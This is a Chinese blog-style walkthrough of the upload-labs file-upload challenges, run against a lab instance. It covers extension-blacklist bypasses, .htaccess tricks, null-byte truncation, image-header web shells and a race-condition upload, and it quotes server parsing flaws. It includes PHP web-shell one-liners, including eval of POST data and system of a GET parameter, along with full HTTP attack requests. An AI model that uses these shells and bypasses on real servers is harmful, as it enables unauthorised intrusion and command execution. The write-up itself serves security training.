文件上传本是要命,挂马成功率更是随缘,我太难了Orz
Pass-01:JS
<?php phpinfo();?>
1.函数重写:
2.禁用js:
Pass-02:MIME Type
<?php phpinfo();?>
1-2的集中补档【getshell】:
用菜刀连接老是200或者500,后来用蚂蚁剑成功连接了
/*2:php*/
<?php eval($_POST['hack']);?>
蚂蚁剑的下载安装教程:https://blog.csdn.net/qq_36235492/article/details/85713821
Pass-03:黑名单
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);//trim — 去除字符串首尾处的空白字符(或者其他字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //得到文件的最后一个后缀
//strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;//move_uploaded_file() 函数将上传的文件移动到新位置
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
审约源码后,上传一个 “ 1.php7 ” 的文件
但是在访问的时候,发现它没有解析php代码
Pass-4:.htaccess
先上传一个.htaccess
SetHandler application/x-httpd-php
在传一个一句话
成功
Pass-5:strtolowwer()函数
$file_ext = strtolower($file_ext); //转换为小写
大小写绕过
Pass-6:trim()函数
加空格绕
Pass-7:deldot()函数
后缀前加空格【菜刀连不上】
后缀后加点
Pass-8:“::$DATA”
https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream
The default data stream has no name. That is, the fully qualified name for the default stream for a file called "sample.txt" is "sample.txt::$DATA" since "sample.txt" is the name of the file and "$DATA" is the stream type.
----摘自微软MSDN
大致的意思就是说 "sample.txt" == "sample.txt::$DATA"
这里有一篇详细介绍:《当php邂逅windows通用上传缺陷》
Pass-9:双写绕
Pass-10:str_ireplace
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
该函数必须遵循下列规则:
- 如果搜索的字符串是一个数组,那么它将返回一个数组。
- 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
- 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
- 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
注释:该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。
注释:该函数是二进制安全的。
语法:str_ireplace(find,replace,string,count)
参数 描述 find 必需。规定要查找的值。 replace 必需。规定替换 find 中的值的值。 string 必需。规定被搜索的字符串。 count 可选。一个变量,对替换数进行计数。
Pass-11:get型的%00截断
语法:strrpos(string,find,start)
参数 描述 string 必需。规定被搜索的字符串。 find 必需。规定要查找的字符。 start 可选。规定在何处开始搜索。 技术细节:
返回值: 返回字符串在另一字符串中最后一次出现的位置,如果没有找到字符串则返回 FALSE。
语法:substr(string,start,length)
参数 描述 string 必需。规定要返回其中一部分的字符串。 start 必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。 正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
技术细节:
返回值: 返回字符串的提取部分,如果失败则返回FALSE,或者返回一个空字符串。
<?php
$hack="beat.php";
$file_ext = substr($hack,strrpos($hack,".")+1);
echo $file_ext;
//返回“php”
这题引用一位师傅的解法,因为在我的实验上是“上传失败”。虽然实验没成功,但是方法是要学习的Orz。
关键的代码在于这里的’save_path’是一个可控的变量,但是后面还拼接上一个后缀名,也需要绕过
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
这个时候可以使用%00截断,但这东西有点过气了,因为需要两个条件
- php版本小于5.3.4
- php的magic_quotes_gpc为OFF状态
如果要完成这一个题目就必须要实现上面的两个条件,但是现在都PHP7了,这东西也就很少见了,满足上面的条件的时候php就是把它当成结束符,后面的数据直接忽略,这也导致了很多的问题,文件包含也可以利用这一点
所以如果要绕过,我们可以这样去实现,另save_path等于下面的值
../upload/4.php%00
————————————————
原文链接:https://blog.csdn.net/u011377996/article/details/86776198
Pass-12:post型的%00截断
这里依旧引用,我的实验环境依旧失败了
这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
https://xz.aliyun.com/t/2435
Pass-13:图片马
1.直接添加“gif的标志文件头GIF89a”
2.上传图片马,但是无法直接利用需要另外的方法去实现一般是加上php伪协议去getshell,常见的有phar,zip等等(也就是说这里要传两个,一个图片马,一个伪协议getshell,'si这种方法sh先标记一下,有时间试试)
Pass-14:getimagesize(),图片马
getimagesize() 函数:获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
语法格式:array getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
file_exists()函数: 检查文件或目录是否存在
说明:file_exists ( string
$filename
) : bool ,检查文件或目录是否存在。参数:
filename,
文件或目录的路径。在 Windows 中要用 //computername/share/filename 或者 \computernamesharefilename 来检查网络中的共享文件。返回值:如果由
filename
指定的文件或目录存在则返回TRUE
,否则返回FALSE
。Note:This function will return
FALSE
for symlinks pointing to non-existing files.Warning:1.如果因为安全模式的限制而导致不能访问文件的话,该函数会返回FALSE
。然而,可以使用 include 来包含,如果文件在 safe_mode_include_dir 所指定的目录里。2.如果在linux下,需要检测的父级文件夹权限不是 777 会返回false 。
Pass-15:exif_imagetype(),图片马
exif_imagetype(PHP 4 >= 4.3.0, PHP 5, PHP 7)函数:判断一个图像的类型
说明 :exif_imagetype ( string
$filename
) : int读取一个图像的第一个字节并检查其签名。本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。
参数:
filename
被检查的图像文件名。返回值:如果发现了恰当的签名则返回一个对应的常量,否则返回
FALSE
。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
Pass-16: imagecreatefromjpeg(),图片马
imagecreatefromjpeg(PHP 4, PHP 5, PHP 7)函数:由文件或 URL 创建一个新图象。
说明:imagecreatefromjpeg ( string
$filename
) : resource: 返回一图像标识符,代表了从给定的文件名取得的图像。Tip:如已启用fopen 包装器,在此函数中, URL 可作为文件名。参数:
filename:
JPEG 图像的路径。返回值:成功后返回图象资源,失败后返回
FALSE
。
范例:
Example #1 处理创建过程中的错误
<?php function LoadJpeg($imgname) { /* 尝试打开 */ $im = @imagecreatefromjpeg($imgname); /* See if it failed */ if(!$im) { /* Create a black image */ $im = imagecreatetruecolor(150, 30); $bgc = imagecolorallocate($im, 255, 255, 255); $tc = imagecolorallocate($im, 0, 0, 0); imagefilledrectangle($im, 0, 0, 150, 30, $bgc); /* Output an error message */ imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc); } return $im; } header('Content-Type: image/jpeg'); $img = LoadJpeg('bogus.image'); imagejpeg($img); imagedestroy($img); ?>
以上例程的输出类似于:
Pass-17:move_uploaded_file(),rename(),unlink(),条件竞争
rename ():重命名一个文件或目录
说明:rename ( string
$oldname
, string$newname
[, resource$context
] ) : bool 尝试把oldname
重命名为newname
。参数:
oldname
(Note:用于oldname
中的封装协议必须和用于newname
中的相匹配)newname
新的名字。
context
(
Note: 在 PHP 5.0.0 中增加了对上下文(Context)的支持。有关上下文(Context)的说明参见 Streams。)返回值: 成功时返回
TRUE
, 或者在失败时返回FALSE
。
unlink() :函数删除文件。若成功,则返回 true,失败则返回 false。
语法:unlink(filename,context)
参数
描述
filename
必需。规定要删除的文件。
context
可选。规定文件句柄的环境。Context 是可修改流的行为的一套选项。
提示和注释: 对 context 的支持是 PHP 5.0.0 添加的。
POST /Pass-17/index.php HTTP/1.1
Host: e3211620-863a-4943-91a2-de2fbf7bd4d5.node2.buuoj.cn.wetolink.com:82
Content-Length: 377
Cache-Control: max-age=0
Origin: http://e3211620-863a-4943-91a2-de2fbf7bd4d5.node2.buuoj.cn.wetolink.com:82
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5uVLBfnBYZtpGXWs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.37%2e21030338304979279140383141566417180001735687255859375
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b§3§
Referer: http://e3211620-863a-4943-91a2-de2fbf7bd4d5.node2.buuoj.cn.wetolink.com:82/Pass-17/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=18446744072597721043
Connection: close
------WebKitFormBoundary5uVLBfnBYZtpGXWs
Content-Disposition: form-data; name="upload_file"; filename="beat.php"
Content-Type: application/octet-stream
<?php $c=fopen('cmd.php','w');fwrite($c,'<?php system($_GET["f"]);?>'); ?>
------WebKitFormBoundary5uVLBfnBYZtpGXWs
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary5uVLBfnBYZtpGXWs--
GET /cmd.php?f=ls HTTP/1.1
Host: e3211620-863a-4943-91a2-de2fbf7bd4d5.node2.buuoj.cn.wetolink.com:82
Cache-Control: max-age=0
Origin: http://e3211620-863a-4943-91a2-de2fbf7bd4d5.node2.buuoj.cn.wetolink.com:82
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b2%2e10088714019222067008740850724279880523681640625
Referer: http://e3211620-863a-4943-91a2-de2fbf7bd4d5.node2.buuoj.cn.wetolink.com:82/Pass-17/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=18446744072597721043
Connection: close
自己实验的时候还是429|没有flag的200了,我太难了QAQ,但是方法是这样的。
在缓存文件转移到别的目录的时候,赶紧访问它
终于极其艰难的搞定了,把线程调到了200,发包量达到1w,终于闪现了
PS:原来的的“beat.php”,为了输入方便我改成了“18.php”。完善了一下师傅的代码加了一个fclose。截图太难了,所以录了一个视频再截的图。
<?php $c=fopen('cmd.php','w') or die("Unable to open file!");fwrite($c,'<?php system($_GET["cmd"]);?>'); echo "1";fclose($c); ?>
后续的步骤是访问上传的18.php让它生成一个"cmd.php"的文件,但是由于我的burp是社区版的,线程调不了,Pkav又只能开一个所以实验就到这里了,后续会写一个python脚本来访问"18.php",这里放上假设成功访问18.php后的结果。
Pass-18:竞争上传
同17竞争上传,不过后缀有过滤。
Pass-19:
定义和用法:pathinfo() 函数以数组的形式返回文件路径的信息。
语法:pathinfo(path,options)
参数
描述
path
必需。规定要检查的路径。
process_sections
可选。规定要返回的数组元素。默认是 all。
可能的值:
PATHINFO_DIRNAME - 只返回 dirname
PATHINFO_BASENAME - 只返回 basename
PATHINFO_EXTENSION - 只返回 extension
说明:pathinfo() 返回一个关联数组包含有 path 的信息。
包括以下的数组元素:
[dirname]
[basename]
[extension]
提示和注释
注释:如果不是要求取得所有单元,则 pathinfo() 函数返回字符串。
例子:
例子 1 <?php print_r(pathinfo("/testweb/test.txt")); ?> 输出: Array ( [dirname] => /testweb [basename] => test.txt [extension] => txt ) 例子 2 <?php print_r(pathinfo("/testweb/test.txt",PATHINFO_BASENAME)); ?> 输出: test.txt
<?php print_r(pathinfo("/testweb/test.txt")); print_r(pathinfo("/testweb/test.tXt")); print_r(pathinfo("/testweb/test.TXT")); ?> 返回: Array ( [dirname] => /testweb [basename] => test.txt [extension] => txt [filename] => test ) Array ( [dirname] => /testweb [basename] => test.tXt [extension] => tXt [filename] => test ) Array ( [dirname] => /testweb [basename] => test.TXT [extension] => TXT [filename] => test ) 可以看到,他只是简单的分割,没对后缀进行处理
检查了一下黑名单,发现没有对大小写的过滤于是想到,大小写绕过
后记:看了其他师傅的做法,它原来是考 “ CVE-2015-2348 move_uploaded_file() 00截断 "
move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。
语法:move_uploaded_file(file,newloc)
参数
描述
file
必需。规定要移动的文件。
newloc
必需。规定文件的新位置。
说明:
本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。这种检查显得格外重要,如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。
然而后期复现,没有成功:
是版本问题吗?
漏洞编号:CVE-2015-2348漏洞影响版本:PHP 5.4.38~5.6.6漏洞成因:通常情况下,PHP的开发者会对文件用户上传的文件的类型、文件大小、文件名后缀等进行严格的检查来限制恶意的PHP脚本文件的上传漏洞的产生,但是攻击者有时候可以结合语言的特性以及多种绕过方法来实现文件的上传漏洞。该CVE漏洞的产生就是由于PHP的move_uploaded_file()函数存在逻辑缺陷所致,这个函数一般在文件上传时被调用!move_uploaded_file ( string $filename , string $destination )这次的漏洞就出现在参数$destination,这个参数的是将用户上传的文件移动到最终的目的地址。如果$destionation变量是从用户$_GET或者$_POST中获取的并且我们可控,那么我们就可以利用空字符 0来截断后面的拓展名,从而造成任意文件上传。
————————————————
原文链接:https://blog.csdn.net/Fly_hps/article/details/79517318
后来我给phpstudy安装了php5.4.45nts还是无法复现成功,难道问题出现在 “nts”上面?
nts(None-Thread Safe)即非线程安全,就是不提供数据访问保护,有可能出现多个线程先后更改数据造成所得到的是 脏数据php以fast cgi方式运行的时候选择这个版本,具有更好的性能
还有另一种方法:文件名后面加 “/.”,一位师傅的博客(http://wonderkun.cc/index.html/?p=626)
php5,成功上传:
php7,成功上传:
pass-20:
这里贴上一个师傅的总结:
IIS 6.0
IIS 6.0解析利用方法有三种:
1.目录解析
建立xx.asp为名称的文件夹,将asp文件放入,访问/xx.asp/xx.jpg,其中xx.jpg可以为任意文件后缀,即可解析
2.文件解析
后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
3.默认解析
IIS6.0 默认的可执行文件除了asp还包含这三种
- /xxx.asa
- /xxx.cer
- /xxx.cdx
- /xxx.apsx
12345
IIS 7.0/7.5
在正常图片URL后添加 /.php,可以解析为php
Apache
一般都在2.3.x以下版本,但是有时候配置文件的不同也会导致不安全
后缀解析:test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3则会被解析为php
最近在出题的时候在apache 2.1.x的版本就可以用test.php.jpg直接就可以getshell了,真尴尬。
Nginx
Nginx <8.03畸形解析漏洞
直接在正常图片URL后添加/.php
Nginx <=0.8.37
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。
————————————————
版权声明:本文为CSDN博主「0verWatch」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/u011377996/article/details/86776198